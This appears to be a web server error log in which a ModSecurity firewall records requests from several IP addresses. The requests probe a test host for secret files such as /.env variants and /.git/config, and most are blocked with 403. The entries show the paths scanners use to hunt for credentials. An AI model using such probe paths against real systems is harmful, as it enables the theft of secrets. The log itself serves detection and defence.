[Tue Apr 29 05:49:28.798675 2025] [:error] [pid 2806367] [client 142.93.143.8:42210] [client 142.93.143.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBBMSJ60OFMj0jMB4s_U6gAAAAE&quot;]
[Tue Apr 29 05:49:28.885329 2025] [:error] [pid 2806341] [client 142.93.143.8:42226] [client 142.93.143.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBBMSN0gW0z_Vc1yvbVWaQAAAAc&quot;]
[Tue Apr 29 05:49:28.885563 2025] [:error] [pid 2806341] [client 142.93.143.8:42226] [client 142.93.143.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBBMSN0gW0z_Vc1yvbVWaQAAAAc&quot;]
[Tue Apr 29 05:49:28.885818 2025] [:error] [pid 2806341] [client 142.93.143.8:42226] [client 142.93.143.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBBMSN0gW0z_Vc1yvbVWaQAAAAc&quot;]
[Wed Apr 30 02:52:49.294617 2025] [:error] [pid 2823131] [client 170.39.218.52:52378] [client 170.39.218.52] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBF0YVTwedzwddDWA2bssgAAAAw&quot;]
[Wed Apr 30 02:52:49.294937 2025] [:error] [pid 2823131] [client 170.39.218.52:52378] [client 170.39.218.52] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBF0YVTwedzwddDWA2bssgAAAAw&quot;]
[Wed Apr 30 02:52:49.295132 2025] [:error] [pid 2823131] [client 170.39.218.52:52378] [client 170.39.218.52] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBF0YVTwedzwddDWA2bssgAAAAw&quot;]
[Wed Apr 30 02:52:49.465625 2025] [:error] [pid 2823229] [client 170.39.218.52:52394] [client 170.39.218.52] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aBF0YYODVEUBu-uBffwzogAAAAI&quot;]
[Wed Apr 30 02:52:49.465874 2025] [:error] [pid 2823229] [client 170.39.218.52:52394] [client 170.39.218.52] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aBF0YYODVEUBu-uBffwzogAAAAI&quot;]
[Wed Apr 30 02:52:49.466052 2025] [:error] [pid 2823229] [client 170.39.218.52:52394] [client 170.39.218.52] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aBF0YYODVEUBu-uBffwzogAAAAI&quot;]
[Wed Apr 30 02:52:49.671355 2025] [:error] [pid 2823128] [client 170.39.218.52:52410] [client 170.39.218.52] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aBF0YVt16V4EMbTGcrSiAgAAAAk&quot;]
[Wed Apr 30 02:52:49.671611 2025] [:error] [pid 2823128] [client 170.39.218.52:52410] [client 170.39.218.52] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aBF0YVt16V4EMbTGcrSiAgAAAAk&quot;]
[Wed Apr 30 02:52:49.671781 2025] [:error] [pid 2823128] [client 170.39.218.52:52410] [client 170.39.218.52] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aBF0YVt16V4EMbTGcrSiAgAAAAk&quot;]
[Wed Apr 30 02:52:54.769537 2025] [:error] [pid 2823951] [client 170.39.218.52:58556] [client 170.39.218.52] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aBF0ZgR8rv_5nUFwDIw0dQAAAAM&quot;]
[Wed Apr 30 02:52:54.769815 2025] [:error] [pid 2823951] [client 170.39.218.52:58556] [client 170.39.218.52] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aBF0ZgR8rv_5nUFwDIw0dQAAAAM&quot;]
[Wed Apr 30 02:52:54.769996 2025] [:error] [pid 2823951] [client 170.39.218.52:58556] [client 170.39.218.52] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aBF0ZgR8rv_5nUFwDIw0dQAAAAM&quot;]
[Wed Apr 30 02:52:56.506432 2025] [:error] [pid 2823127] [client 170.39.218.52:58620] [client 170.39.218.52] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aBF0aHaO2jLeN9mwruRGcwAAAAA&quot;]
[Wed Apr 30 02:52:56.506692 2025] [:error] [pid 2823127] [client 170.39.218.52:58620] [client 170.39.218.52] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aBF0aHaO2jLeN9mwruRGcwAAAAA&quot;]
[Wed Apr 30 02:52:56.506849 2025] [:error] [pid 2823127] [client 170.39.218.52:58620] [client 170.39.218.52] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aBF0aHaO2jLeN9mwruRGcwAAAAA&quot;]
[Wed Apr 30 02:52:56.710227 2025] [:error] [pid 2823130] [client 170.39.218.52:58624] [client 170.39.218.52] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aBF0aGAsIAfn63WVULirSAAAAA8&quot;]
[Wed Apr 30 02:52:56.710500 2025] [:error] [pid 2823130] [client 170.39.218.52:58624] [client 170.39.218.52] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aBF0aGAsIAfn63WVULirSAAAAA8&quot;]
[Wed Apr 30 02:52:56.710687 2025] [:error] [pid 2823130] [client 170.39.218.52:58624] [client 170.39.218.52] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aBF0aGAsIAfn63WVULirSAAAAA8&quot;]
[Wed Apr 30 12:32:29.251212 2025] [:error] [pid 2831142] [client 45.139.104.181:47504] [client 45.139.104.181] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBH8PamY7gES-hBp7Ev-zQAAAAY&quot;]
[Wed Apr 30 12:32:29.251473 2025] [:error] [pid 2831142] [client 45.139.104.181:47504] [client 45.139.104.181] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBH8PamY7gES-hBp7Ev-zQAAAAY&quot;]
[Wed Apr 30 12:32:29.251643 2025] [:error] [pid 2831142] [client 45.139.104.181:47504] [client 45.139.104.181] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBH8PamY7gES-hBp7Ev-zQAAAAY&quot;]
[Wed Apr 30 14:00:23.811638 2025] [:error] [pid 2826732] [client 93.123.109.105:39232] [client 93.123.109.105] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBIQ1zBbeKN80EBOk2X6ZAAAAAM&quot;]
[Wed Apr 30 14:00:23.811910 2025] [:error] [pid 2826732] [client 93.123.109.105:39232] [client 93.123.109.105] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBIQ1zBbeKN80EBOk2X6ZAAAAAM&quot;]
[Wed Apr 30 14:00:23.812074 2025] [:error] [pid 2826732] [client 93.123.109.105:39232] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBIQ1zBbeKN80EBOk2X6ZAAAAAM&quot;]
[Sun May 04 15:16:46.884087 2025] [:error] [pid 2912448] [client 195.178.110.64:57926] [client 195.178.110.64] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBdovm8SHJtYYpgVqYEQJgAAAAc&quot;]
[Sun May 04 15:16:46.887464 2025] [:error] [pid 2912448] [client 195.178.110.64:57926] [client 195.178.110.64] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBdovm8SHJtYYpgVqYEQJgAAAAc&quot;]
[Sun May 04 15:16:46.887672 2025] [:error] [pid 2912448] [client 195.178.110.64:57926] [client 195.178.110.64] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBdovm8SHJtYYpgVqYEQJgAAAAc&quot;]
[Tue May 06 06:27:20.517232 2025] [:error] [pid 2955375] [client 45.148.10.172:58606] [client 45.148.10.172] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBmPqAbEQ7X-VfzoVezmagAAAAM&quot;]
[Tue May 06 06:27:20.517583 2025] [:error] [pid 2955375] [client 45.148.10.172:58606] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBmPqAbEQ7X-VfzoVezmagAAAAM&quot;]
